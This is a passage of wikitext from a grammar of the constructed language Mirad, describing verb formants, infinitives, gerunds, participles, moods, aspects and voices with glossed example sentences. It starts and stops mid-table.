| '''-vru-''' || toward a patient || '''uvruer'''....''to aggrieve''
|-
| '''-k-''' || various verbs || '''aker'''....''to win'', '''oker'''....''to lose'', '''eker'''....''to play'', '''yeker'''....''to try'', '''yaker'''....''to expect'', '''yoker'''....''to be surprised by''
|-
| '''-ki-''' || toward the subject || '''akier'''....''to gain from'', '''yekier'''....''to undertake''
|-
| '''-ku-''' || toward a patient || '''yekuer'''....''to challenge''
|-
| '''-kl-''' || more intensive || '''akler'''....''to conquer'', '''yekler'''....''to strive''
|-
| '''-kli-''' || toward the subject || '''eklier'''....''to take a risk''
|-
| '''-klu-''' || toward a patient || '''ekluer''....''to put at risk''
|-
| '''-kr-''' || most intensive || '''akrer'''....''to triumph''
|-
| '''-j-''' || opening/closing || '''ijer'''....''to begin'', '''ujer'''....''to end'', '''tajer'''....''to be born'', '''tojer'''....''to die'', '''yujer'''....''to close''
|-
| '''-jl-''' || more intensive || '''yujler'''....''to lock''
|-
| '''-jr-''' || most intensive || '''yujrer'''....''to block''
|-
| '''-l-''' || a few verbs || '''baler'''....''to press'', '''boler'''....''to support'', '''beler'''....''to carry'', '''daler'''....''to speak'', '''deler'''....''to state'', '''doler'''....''to be quiet'', '''galer'''....''to multiply'', '''goler'''....''to divide'', ....'''mageler'''....''to cook''
|-
| '''-r-''' || a few verbs || '''ingarer'''....''to cube'', '''engorer'''....''to get the square root of'''''barer'''....''to crush''
|-
| '''-ar-'''&lt;br&gt;'''-ir-'''&lt;br&gt;'''-ur-'''|| tool use || '''ukarer'''....''to shovel'', '''purer'''....''to drive'', '''myekirer'''....''to mill''
|-
| '''-z-'''|| perform an art || '''dazer'''....''to dance'', '''dezer'''....''to act'', '''deuzer'''...''to sing''
|}
: Verbs containing formants '''s''' or '''p''' are generally intransitive, while all the other formants create transitive verbs.  All of the verbs with transitive formants can be passivized by adding '''w''', eg.:
:* '''oker'''....''to lose'' &lt;big&gt;→&lt;/big&gt; '''okwer'''....''to be lost''
:* '''baler'''....''to press'' &lt;big&gt;→&lt;/big&gt; '''balwer'''....''to be pressed''
:* '''koxer'''....''to hide''  &lt;big&gt;→&lt;/big&gt; '''koxwer'''....''to be hidden''
:* '''ujler'''....''to lock''  &lt;big&gt;→&lt;/big&gt; '''ujlwer'''....''to be locked''
:* '''ser'''....''to be'' (cannot be passivized)
:* '''per'''....''to go'' (cannot be passivized)
: Some verbs with formants '''-pl-''' and '''-pr-''' can usually be passivized with '''w''', eg.:
:* '''yaprer'''....''to climb''  &lt;big&gt;→&lt;/big&gt; '''yaprwer'''....''to be climbed''
:* '''aypler'''....''to surmount''  &lt;big&gt;→&lt;/big&gt; '''ayplwer'''....''to be surmounted''

== Verb Categories ==

: Verbs have '''''morphological categories''''', which involve changes to the verb not always found in the dictionary, but developed through rule-bound affixation (such as ''live'', ''lives'', ''lived'', ''living'').  They also have '''''lexical categories''''', which involve derived forms usually listed in dictionaries (''enjoy'', ''enjoyable'', ''enjoyment'')

=== Morphological Categories ===
 
: Verbs are inflected with the following '''''morphological categories''''': 

::* '''''2 states''''': finite, non-finite
::* '''''4 tenses''''': present, past, future, atemporal&lt;sup&gt;1&lt;/sup&gt;
::* '''''5 aspects''''': simple, progressive, perfect, imminent, potential
::* '''''2 voices''''': active, passive
::* '''''2 moods''''': indicative, hypothetical


:&lt;small&gt;'''''Note 1:''''' The term &quot;atemporal&quot; means that tense is not marked.  For example, in Mirad, '''Pu!''' is the imperative of the verb '''per'''....''to go''.  It means ''Go!'' and is atemporal.  The '''-u''' ending is an atemporal hypothetical mood marker.&lt;/small&gt;

: In effect, the PERSON/NUMBER category is not listed above, because this category does not affect the morphology of the Mirad verb form itself. The Mirad verb form stays the same for all persons and numbers.  That information is contained in the external subject pronouns governing the verb.  In English, for example, the verb &quot;be&quot; has several different forms in the present tense verb form depending on the person and number (I &lt;u&gt;am&lt;/u&gt;, you &lt;u&gt;are&lt;/u&gt;, he &lt;u&gt;is&lt;/u&gt;, we &lt;u&gt;are&lt;/u&gt;, etc.), but not so in Mirad.  The following chart shows how the English pattern differs from the corresponding single Mirad verb form '''se''' for all persons and numbers:


:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller&quot;
|+ Verb '''ser''' (''to be'') Unchanged for person/number
|-
! Person !! Number !! English !! Mirad
|-
!row=1| 1st !! row=1 rowspan=3| Singular 
| ''I &lt;u&gt;am&lt;/u&gt;'' || '''at &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you &lt;u&gt;are&lt;/u&gt;'' || '''et &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''he/she &lt;u&gt;is&lt;/u&gt;'' || '''it &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 1st !! row=1 rowspan=3| Plural 
| ''we &lt;u&gt;are&lt;/u&gt;'' || '''yat &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you (pl.) &lt;u&gt;are&lt;/u&gt;'' || '''yet &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''they &lt;u&gt;are&lt;/u&gt;'' || '''yit &lt;u&gt;se&lt;/u&gt;'''
|}

: This invariability of person/number exists for all tenses.

=== Lexical Categories ===

:: In addition, verbs can be described in terms of the following opposing '''''lexical''''' categories.  By lexical, is meant that verbs having different lexical properties are listed in the dictionary and have nothing to do with conjugation.


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;margin-left:1.6em;&quot;
|+ Verb Lexical Categories
|-
! Stative !! Dynamic
|-
| '''ser'''....''to be'' || '''xer'''....''to do''
|-
! Intransitive !! Transitive
|-
| '''agaser'''....''to grow large'' || '''agaxer'''....''to magnify''
|-
! Subject-directed !! Patient-directed
|-
| '''bier'''....''to take'' || '''buer'''....''to give''
|-
! Reflexive !! Non-reflexive
|-
| '''utvyixer'''....''to wash up (wash oneself)'' || '''vyixer'''....''to wash''
|-
! Inchoative !! Causative
|-
| '''tujper'''....''fall asleep'' || '''tujber'''....''put to sleep''
|-
! Autonomous !! Dynamic
|-
| '''yijer'''....''to open (by itself)'' || '''yijber'''....''to (make it) open''
|-
! Reciprocal !! Non-reciprocal
|-
| '''hyuittujber'''....''to kill one another'' || '''tujber'''....''to kill''
|-
! Gestural !! Locomotive
|-
| '''baser'''....''to stir, budge'' || '''paser'''....''to move''
|-
! Subject-oriented !! Object-oriented
|-
| '''teetyiker'''....''to be hard of hearing'' || '''teetyikwer'''....''to be hard to hear''
|}

== Non-finite Forms ==
: '''''Non-finite verb forms''''' are
::* not conjugated for person or number
::* cannot form a predicate
::* and do not have a subject.  

: There are three kinds of non-finite verb forms in Mirad:

::* '''''infinitives''''': the dictionary lookup form of a verb, ending in '''-er'''
:::* '''der'''....''to say'', '''tixayer'''....''to have studied'', '''xwer'''....''to be done''
::* '''''gerunds''''': verbal nouns, ending in '''-en'''
:::* '''byasen'''....''(the act of) standing''
::* '''''participles''''': verbal adjectives, ending in '''-a'''
:::* '''tejea'''....''living (alive)'', '''twa'''....''known'', '''piya'''....''departed''
=== Infinitives ===
: Verbs are listed in the dictionary under the '''''active voice simple aspect infinitive''''' form, which always ends in '''er''' and means ''to X'', or rarely the passive voice simple aspect infinitive form, which ends in '''wer''' and means ''to be Xed''.  The part of the verb form minus the '''-er''' or '''-wer''' is the '''''verb stem'''''. Very rarely at verb can be expressed as a past active or past passive infinitive in '''ayer''' and '''awer''', respectively. (For example: '''Tejayer boy ifawer naze glo.'''....''To have lived without having loved counts little.'').

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em&quot;
|+ Infinitive Stems
|-
! Infinitivw || Stem !! Ending
|-
| '''agser'''....''to grow'' || '''ags-''' || '''-er'''  
|-
| '''igxer'''....''to quicken'' || '''igx-''' || '''-er''' 
|-
| '''per'''....''to go'' || '''p-''' || '''-er'''  
|-
| '''xwer'''....''to happen, be done'' || '''x-''' || '''-wer''' 
|-
| '''tejayer'''....''to have lived'' || '''tej-''' || '''-ayer'''
|-
| '''ifawer'''....''to have loved'' || '''if-''' || '''-awer'''
|}

: The infinitive in Mirad is used very much as its counterpart in English.  The infinitive can be marked for two aspects (simple, perfect) and two voices (active, passive), as shown in the chart below, where the verb stems are underlined:


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Active and Passive Infinitive Stems
|-
! Aspect !! Active Voice !! Passive Voice
|-
!row=1| Simple
| '''&lt;u&gt;igx&lt;/u&gt;er'''....''to quicken'' || '''&lt;u&gt;igx&lt;/u&gt;wer'''....''to be quickened''
|-
!row=1| Perfect
| '''&lt;u&gt;igx&lt;/u&gt;ayer'''....''to have quickened'' || '''&lt;u&gt;igx&lt;/u&gt;awer'''....''to have been quickened''
|}

: In the above chart,
::* the verb stem is '''igx-''' and
::* the infinitive marker is '''-er''';
::* the simple aspect active voice marker is zero;
::* the simple aspect passive voice marker is '''w''';
::* the perfect aspect active voice marker is '''-ay-''';
::* the past aspect passive voice marker is '''-aw-'''.

The passive voice infinitive of a verb will not appear in the dictionary unless it has a special meaning, such as '''xwer''' ''to happen (= to be done)''.  The perfect infinitives are never listed in the dictionary.

=== Gerunds ===
: The gerund is a verbal noun like English ''playing'' in ''playing ball.''
: The gerund has two possible '''''aspects''''' (simple and perfect) and two possible '''''voices''''' (active and passive):

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em; &quot;
|+ Gerund Formation
|-
! Aspect !! Voice !! Ending !! Example
|-
!row=1| Simple !! Active 
| '''-en''' || '''agax&lt;u&gt;en&lt;/u&gt;'''....''magnifiying, magnification''
|-
!row=1| Simple !! Passive
| '''-wen''' || '''agax&lt;u&gt;wen&lt;/u&gt;'''....''being magnified''
|-
!row=1| Perfect !! Active 
| '''-ayen''' || '''byek&lt;u&gt;ayen&lt;/u&gt;'''....''having cured''
|-
!row=1| Perfect !! Passive 
| '''-awen''' || '''byek&lt;u&gt;awen&lt;/u&gt;'''....''having been cured''
|}

: Note: Intransitive verbs like '''per''' ''to go'' do not have a passive gerund form.

: Lexicalized gerunds, such as '''sanxen''' ''formation, forming'' generally appear in the dictionary in the active voice.

: Some examples of gerund usage:

::* ('''sanxer'''....''to form'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ha &lt;u&gt;sanxen&lt;/u&gt; bi hia mar efxa amroni bi jabi.'''....''The &lt;u&gt;forming&lt;/u&gt; (or: &lt;u&gt;formation&lt;/u&gt;) of this star took millions of years.''
::* ('''deuzer'''....''to sing'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Iyta &lt;u&gt;deuzen&lt;/u&gt; sa gla via.'''....''Her &lt;u&gt;singing&lt;/u&gt; was very beautiful.''
::* ('''poper'''....''to travel'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Popen&lt;/u&gt; se yika yex.'''....''&lt;u&gt;Traveling&lt;/u&gt; is hard work.''
::* ('''teeter'''....''to hear'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teetwen&lt;/u&gt; fiay se teskyia av dezuti.'''....''&lt;u&gt;Being heard&lt;/u&gt; well is important for actors.''
::* ('''teater'''....''to see'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teaten&lt;/u&gt; se &lt;u&gt;vyatexen&lt;/u&gt;.'''.....''&lt;u&gt;Seeing&lt;/u&gt; is &lt;u&gt;believing&lt;/u&gt;.''
::* ('''uper'''....''to come'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''His se ha jeb bi &lt;u&gt;Upen&lt;/u&gt;.'''....''This is the season of &lt;u&gt;Advent&lt;/u&gt; (coming).''
::* ('''tadier'''....''to get married'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ata &lt;u&gt;tadiayen&lt;/u&gt; ewa jodi bixa tepzex.'''....''My &lt;u&gt;having married&lt;/u&gt; twice drew attention.''
::* ('''aker'''....''to win'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''At voy ta ita &lt;u&gt;akawen&lt;/u&gt; hua nuz.'''....''I did not know about his &lt;u&gt;having won&lt;/u&gt; that prize.''
: Gerunds, being verb forms, can take direct and indirect objects:
::* '''At ifxwe bey eta buayen at hua nas.'''....''I am pleased by your having given me that money.''
::* '''Tojben eut voy se kexbiyaf.'''....''Killing yourself is not an option.''

: The special gerundive ending '''-eyn''' gives a nuance emphasizing the action as a single act, much like the English endings ''-ment'' or ''-tion''.  Here are a few examples showing the difference between '''-en''' and '''-eyn'''.
::* '''yanlaxen'''....''combining''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''yanlaxeyn'''....''combination''
::* '''xen'''....''doing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''xeyn'''....''action, deed''
::* '''zayben'''....''advancing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zaybeyn'''....''advancement''

: Another special gerundive (but lexical) ending is '''-un''', which expresses the result of an action, eg.:
::* '''zyegxer'''....''to puncture''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyegxun'''....''a puncture''
::* '''zyeuber'''....''to transmit''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyeubun'''....''a broadcast''
::* '''deuzer'''....''to sing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''deuzun'''....''a song''

=== Participles ===
: Participles are verbal adjectives and can modify nouns and pronouns.  Since they act as adjectives, they have the adjectival ending '''-a'''.  Participles are marked by '''''aspect''''' (simple, progressive, perfect, imminent, potential) and '''''voice''''' (active, passive).
: The aspect markers per voice are:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Aspect Markers
|-
! Aspect !! Voice !! Form !! Example
|-
! rowspan=2| Progressive
! rowspan=1 | Active 
| '''-ea-''' || '''tejea'''....''living''
|-
! rowsspan=1 | Passive 
| '''wea''' || '''xwea'''....''happening, being done''
|-
! rowspan=2| Perfect
! rowspan=1 |Active
| '''-ya''' || '''pya'''....''gone''   (&lt; '''pyaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=1| Passive 
| '''-wa''' || '''xwa'''....''done''   (&lt; '''xwaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=2| Imminent
! Active 
| '''-oa''' || '''tojoa'''....''about to die''
|-
! rowspan=1 | Passive 
| '''-woa''' || '''dodelwoa'''....''about to be announced''
|-
! rowspan=2| Potential
! Active 
| '''-ua''' || '''tojbua'''....''lethal''
|-
! rowspan=1| Passive 
| '''-wua''' || '''opoxwua'''....''unstoppable''
|}
: &lt;small&gt;&lt;sup&gt;1&lt;/sup&gt;: The double '''aa''' in the perfect endings is reduced to '''a'''.&lt;/small&gt;
: '''''Note 1:''''' The perfect active particple ending in '''-ya''' is used only for intransitive verbs like '''per''' (''to go'').  '''He is &lt;u&gt;gone&lt;/u&gt;.''' is expressed by '''Wit se &lt;u&gt;pya&lt;/u&gt;'''.
: '''''Note 2:''''' The potential aspect, represented by the vowel '''u''' is much like the conditional in English, but is not considered a tense in Mirad.  For example, '''tojbu''' means ''would kill'' and the participle '''tojbua''' means ''lethal'' (referring to something that ''would/has the potential to kill'').  More about this in a later section.
: '''''Note 3:''''' There is another form of the progressive participle that falls in the lexical, rather than morphological category, in that such forms are listed in the dictionary as adjectives.  For example, in the phrase ''The animals &lt;u&gt;bothering&lt;/u&gt; our bird feeder...'', the participle ''bothering'' would be '''oboxea''' in Mirad.  By inserting the letter '''y''' between the verb stem and the participial ending, the participle becomes an adjective denoting a propensity or habit, as in ''bothersome'' ('''obox&lt;u&gt;y&lt;/u&gt;ea''').  Such participles are invariably in the active voice.  Most such adjectives in English end in ''-ive'' as in ''repulsive'' or ''-ly'' as in ''wiggly'' or ''-ous'' as in ''circuitous.''  Such adjectives in Mirad are listed in the dictionary and end in '''-yea'''.

: Adverbial participles can be made from the above adjectival participles, by suffixing the letter '''y'''.  Examples:
::* '''Iyt yepa ha tim &lt;u&gt;deuzeay&lt;/u&gt;.'''....''She entered the room &lt;u&gt;singing&lt;/u&gt;.''
::* '''&lt;u&gt;Ujbaway&lt;/u&gt; ha dodal, it pia.'''....''The speech &lt;u&gt;having been finished&lt;/u&gt;, he left.''
: Also, the above participles can be converted into abstract nouns by suffixing '''n'''.  Examples:
::* '''tiluwa'''....''drinkable'' &lt;big&gt;→&lt;/big&gt; '''tiluwan'''....''potability''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuan'''....''lethality''
::* '''mansea'''....''shining'' &lt;big&gt;→&lt;/big&gt; '''he &lt;u&gt;mansean&lt;/u&gt; bi iyta deuzen'''....''the &lt;u&gt;brilliance&lt;/u&gt; of her singing''
::* '''aakaxyea'''....''inventive'' &lt;big&gt;→&lt;/big&gt; '''aakaxyean'''....''inventiveness''
: Furthermore, these participles can sometimes be pronominalized with '''s''' for things and '''t''' for people or living things.  These forms can, in turn, be pluralized:

::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwas'''....''what is done, a happening''
::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwasi'''....''happenings, deeds''
::* '''otwa'''....''unknown'' &lt;big&gt;→&lt;/big&gt; '''otwas'''....''what is not known, a mystery''
::* '''osexea'''....''destroying'' &lt;big&gt;→&lt;/big&gt; '''osexeas'''....''a destroyer''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuas'''....''something lethal, a lethal thing''
::* '''tojboa'''....''moribund'' &lt;big&gt;→&lt;/big&gt; '''tojboati'''....''people about to die, fatal cases''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeat'''....''a living person''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeasi'''....''living things''
: There is a special tenseless, nominalized, animate participle used for '''''agent''''' nouns (English ''one who does something, Xer'', ''Xant'', ''Xist''), which refers to a person who habitually does some action, perhaps as a profession or trade.  These agent nouns end in '''-ut'''.
::* '''sexut'''....''builder''
::* '''nuut'''....''supplier''
::* '''tojbut'''....''killer''
::* '''ifut'''....''lover''
::* '''akuti'''....''winners''
: Note: There is a slight difference of meaning between the tensed participial pronoun '''ha akeat'''....''the one winning'' and the non-tensed agent noun '''ha akut'''....''the winner''.
: Similarly, there is a special tenseless, nominalized, &lt;u&gt;in&lt;/u&gt;animate participle used for a thing that performs the action denoted by the verb stem.  These agent nouns end in '''-us'''.

::* '''yuxus'''....''aid (a thing that helps)''
::* '''byuxwus'''....''button (a thing that gets touched on the keyboard)''
::* '''paxus'''....''motive (a thing that moves one)''
::* '''jaupus'''....''precedent (a thing that comes before)''
: The above '''-us''' ending contrasts with the endings '''-ar''' (''instrument''), '''-ir''' (''machine''), '''-ur''' (''motor, engine''), which are physical objects and not always suffixed to a verbal root.

== Finite Forms ==
[[File:Auxiliary verbs tree 3.png|thumb|]]
: In Mirad, finite verb forms are those that can take a person subject, serve as a predicate, and be conjugated. Finite verb forms are conjugated by using suffixes indicating, through their presence or absence, the following categories:

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* TENSES 
:::# '''''present'''''
:::# '''''past'''''
:::# '''''future'''''
:::# '''''atemporal'''''
::* MOODS
:::# '''''indicative'''''
:::# '''''hypothetical'''''
::* ASPECTS
:::# '''''simple'''''
:::# '''''progressive'''''
:::# '''''perfect'''''
:::# '''''imminent'''''
:::# '''''potential'''''
::* VOICES
:::# '''''active'''''
:::# '''''passive'''''
:::# '''''reflexive'''''
:::# '''''reciprocal'''''
&lt;/div&gt;

: Person and number are not marked on the verb form itself.  For example, ''am'', ''is'', ''are'', which change according to the person subject in English,  are all expressed with the same verb form in Mirad: '''se'''.  Thus, '''at se'''....''I am'', '''et se'''....''you are'', '''it se'''....''he/she/it is'', etc.

=== Moods ===
: There are two moods in Mirad:
::* '''''indicative'''''
::* '''''hypothetical'''''.

===== Indicative Mood =====
: The '''''indicative''''' form of the verb indicates an action or state that occurs in actual time, such as ''he went'', ''he is going'', ''he will go.''

: The indicative mood has three tenses, '''''present''''', '''''past''''', '''''future''''',  indicated by the suffixes '''-e''', '''-a''', and '''-o''', respectively.

===== Hypothetical Mood =====
: Wheras the indicative verb forms expresses actuality in time, the '''''hypothetical mood''''' expresses one of the non-actuality situations below and uses the vowel '''u'''.

::* a command , i.e. the '''''imperative''''' (''Go!'')
::* a wish or suggestion, i.e. the '''''hortative''''' or '''''jussive''''' (''May the king live long!'', ''Let's celebrate!'')
::* an unrealized situation, i.e. the '''''subjunctive''''' (''It is important that you &lt;u&gt;be&lt;/u&gt; early.'')
::* an imagined if-then-situation, i.e. the '''''conditional''''' (''If I &lt;u&gt;were&lt;/u&gt; rich, I &lt;u&gt;would be&lt;/u&gt; happy.'')

=== Aspects ===

: There are five aspects in the Mirad verb system.

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* the '''''simple''''' aspect (default), i.e. non-progressive, non-perfect, non-imminent, and non-conditional.
::* the '''''progressive''''' aspect, i.e. an action or state on-going in the particular tense, using '''ey'''
::* the '''''perfective''''' aspect, i.e. an action or state anterior or already completed, using '''ay'''
::* the '''''imminent''''' aspect, i.e. an action or state about to happen, using '''oy'''
::* the '''''potential''''' aspect, i.e. an action potentially happening, using '''uy'''
&lt;/div&gt;
===== The Simple Aspect =====

:: Unless specifically marked, the default aspect is '''''simple''''', i.e. non-progressive, non-perfect, non-imminent, and non-conditional.  Three indicative tenses can be expressed in the simple aspect:
::* Present with '''e'''
::* Past with '''a'''
::* Future with '''o'''. 

:: An atemporal verb ending in '''u''' in the simple aspect is considered hypothetical and expresses three things, depending on how it is used in the sentence:
::* a conditional like ''I would go (if...)''
::* an imperative like ''Go!''
::* a hortative like ''Let's go!''
::* a subjunctive like ''(It is important that) we go.''

:: Here is a chart showing the simple, active voice instantiations of the Mirad verb '''per''' (''to go'')  with the endings underlined:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em;&quot;
|+ Simple Active Conjugation of '''Per'''
|-
! Mood !! Tense !! Aspect !! Voice !! Instantiation !! Verb '''per'''
|-
!row=1| Indicative !! Present !! Simple !! Active !!
| '''At p&lt;u&gt;e&lt;/u&gt;'''....''I go''
|-
!row=1| Indicative !! Past !! Simple !! Active !!
| '''At p&lt;u&gt;a&lt;/u&gt;'''....''I went''
|-
!row=1| Indicative !! Future !! Simple !! Active !!
|'''At p&lt;u&gt;o&lt;/u&gt;'''....''I will go''
|-
!row=1 rowspan=4 | Hypothetical
!rowspan=4| Atemporal
!rowspan=4| Simple
!rowspan=4| Active 
! Conditional
|'''At p&lt;u&gt;u&lt;/u&gt;'''....''I would go''
|-
! Hortative/Optative/Jussive
|'''Van yat p&lt;u&gt;u&lt;/u&gt;!'''....''Let's go!''
|-
! Imperative
|'''P&lt;u&gt;u&lt;/u&gt; tam!'''....''Go home!''
|-
! Subjunctive
|'''Se efwa van et p&lt;u&gt;u&lt;/u&gt;.'''....''It is necessary that you go.''
|}

: Note that the last four instantiations are the same tense, but differ in syntax.  For example, if the verb form is hypothetical, atemporal, simple, active and has no subject, it operates as an imperative.

==== The Simple Indicative Present Active Tense ====

:: The simple indicative present instantiation is marked with the vowel suffix '''e''' and has a non-progressive ('''''habitual''''') aspect as in English ''I work'' or ''I live''.  Progressive aspect forms like ''I am studying'' are explained later.

:: Examples:
:::* '''At &lt;u&gt;yexe&lt;/u&gt; be tam.''' ....''I &lt;u&gt;work&lt;/u&gt; at home''.
:::* '''Hia tom &lt;u&gt;se&lt;/u&gt; nam.''' ....''This building &lt;u&gt;is&lt;/u&gt; a store.''
:::* '''Ha amur &lt;u&gt;yuzpe&lt;/u&gt; ha imer.'''....''The moon &lt;u&gt;goes around&lt;/u&gt; the earth.''

==== The Simple Indicative Past Active Tense ====
: The simple indicative past tense instantiation is marked with the vowel suffix '''a''' and has a non-progressive (punctual) meaning as in English ''I did something at some particular point in time''.  The simple past contrasts in aspect with the past progressive (''I was doing something'') or the present perfect (''I have done something''), or past potential (''I would have done something'').  The simple past is punctual, that is, it describes an event that occurred at a particular point in time.
: Examples:
::* '''Iyt &lt;u&gt;iba&lt;/u&gt; ha nyuf zojub.''' ....''She &lt;u&gt;received&lt;/u&gt; the package yesterday.''
::* '''At &lt;u&gt;ujba&lt;/u&gt; ha dyes ji iwa jwobi.''' ....''I &lt;u&gt;finished&lt;/u&gt; the book three hours ago.''
::* '''His &lt;u&gt;kyesa&lt;/u&gt; exag hijub.'''....''This &lt;u&gt;happened&lt;/u&gt; twice today.''

==== The Simple Indicative Future Active Tense ====

: The simple indicative future tense is marked with the vowel suffix '''o''' and has the same meaning as in English ''I will do something at some particular point in the future''.

: Examples: 
::* '''Yit &lt;u&gt;tadso&lt;/u&gt; zajab.'''....''They &lt;u&gt;are going to get married&lt;/u&gt; next year.''
::* '''Hua kaxon &lt;u&gt;ujako&lt;/u&gt;.''' ....''That solution &lt;u&gt;will work&lt;/u&gt;.''
::* '''At &lt;u&gt;so&lt;/u&gt; him hoj et &lt;u&gt;upo&lt;/u&gt;.'''....''I &lt;u&gt;will be&lt;/u&gt; here when you &lt;u&gt;(will) come.&lt;/u&gt;&lt;sup&gt;1&lt;/sup&gt;''
:: Note 1: Unlike in English,  Mirad does not use the present tense for a real future.  There is also no sequence of tenses in Mirad (such as, ''He said he was coming.''.  In Mirad, this would be expressed as ''He said he &lt;u&gt;will&lt;/u&gt; come.'').

==== The Simple Hypothetical Atemporal Active Tense ====

: A verb form ending in '''u''' like '''pu''' has no time value and is used to express unreal actions or states, such as the '''''imperative''''', '''''hortative''''', '''''conditional''''', or '''''subjunctive'''''.
: Examples:
::* '''&lt;u&gt;Upu&lt;/u&gt; him!'''....''&lt;u&gt;Come&lt;/u&gt; here!'' ('''''imperative''''')
::* '''&lt;u&gt;Von upu&lt;/u&gt;!''' ....''&lt;u&gt;Don't come&lt;/u&gt;!'' ('''''negative imperative''''')
::* '''Ha edeb &lt;u&gt;fu&lt;/u&gt; teater et.''' ....''The king &lt;u&gt;would like&lt;/u&gt; to see you.'' ('''''conditional''''')
::* '''Ven at &lt;u&gt;su&lt;/u&gt; et, at &lt;u&gt;dolu&lt;/u&gt;.''' ....''If I &lt;u&gt;were&lt;/u&gt; you, I &lt;u&gt;would be&lt;/u&gt; quiet.'' ('''''conditional''''')
::* '''Van yeyt &lt;u&gt;ujaku&lt;/u&gt; be yeyta yexneadi.''' ....''May all you (women) &lt;u&gt;succeed&lt;/u&gt; in your careers.'' ('''''hortative''''')
::* '''Van yat &lt;u&gt;ijbu&lt;/u&gt; bay fyadil.''' ....''Let's &lt;u&gt;begin&lt;/u&gt; with a prayer.'' ('''''jussive''''')
::* '''Se kyitesa &lt;u&gt;van et puu&lt;/u&gt; jwa.''' ....''It's important &lt;u&gt;that you arrive&lt;/u&gt; early.'' ('''''subjunctive''''')
::* '''Se kyitesa &lt;u&gt;von et puu&lt;/u&gt; jwo.'''....''It's important &lt;u&gt;that you not arrive&lt;/u&gt; late.'' ('''''negative subjunctive''''')
: Hypothetical verb forms ending in '''-u''' can be interpreted in various ways, depending on the following syntactical patterns in the sentence:
::* Generally, if a verb form ending in '''-u''' begins a sentence and has no subject, then it is an IMPERATIVE (a command).  For example, '''Ipu!''', ''Go away!''.
::* If the verb form has a subject not preceded by the complementizers '''van''', '''ven''', or '''von''', then it is probably a conditional predicate like '''At fu per.'''....''I &lt;u&gt;would like&lt;/u&gt; to go.''.
::* If the subject of the verb is preceded by '''ven'''....''if'', then it is a conditional clause as in '''Ven at &lt;u&gt;su&lt;/u&gt; nasikat...'''....''If I &lt;u&gt;were&lt;/u&gt; a rich man.''.
::* If the subject is preceded by '''Van'''....''that/let/may'' or '''von'''....''don't'', then it is a hortative wish like '''Van et yagteju.'''....''May you live long.'' or a jussive suggestion like '''Van yat fyadilu.'''....''Let us pray.'' or a prohibition like '''Von tiliu his!'''....''Don't drink this!''.

=== Voices ===

: Mirad has four voices:
::* Active
::* Passive
::* Reflexive
::* Reciprocal.

==== Active Voice ====
: The default voice is active, i.e. the subject of the verb is doing the action.
::* '''At teata ha kyes.'''....''I saw the event.''

==== Passive Voice ====
: A verb form is converted from active to passive by inserting a '''w''' just after the stem of the verb form.  The past passive particle ending '''-waa''' is usually abbreviated to '''-wa''' (''done'' is '''xwa''').
: The following chart shows the distinction between active and passive voice of various verbs:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:4.8em&quot;
|+ Contrasting Active and Passive Voice
! Verb Form !! Active !! Active&lt;br&gt;Example !! Passive !! Passive&lt;br&gt;Example
|-
!row=1| Infinitive 
| '''xer'''&lt;br&gt;''to do'' || '''At fe xer fi.'''&lt;br&gt;''I want to do well.'' || '''xwer'''&lt;br&gt;''to be done'' || '''Ese hyos xwer.'''&lt;br&gt;''There is nothing to be done.''
|-
!row=1| Present Participle 
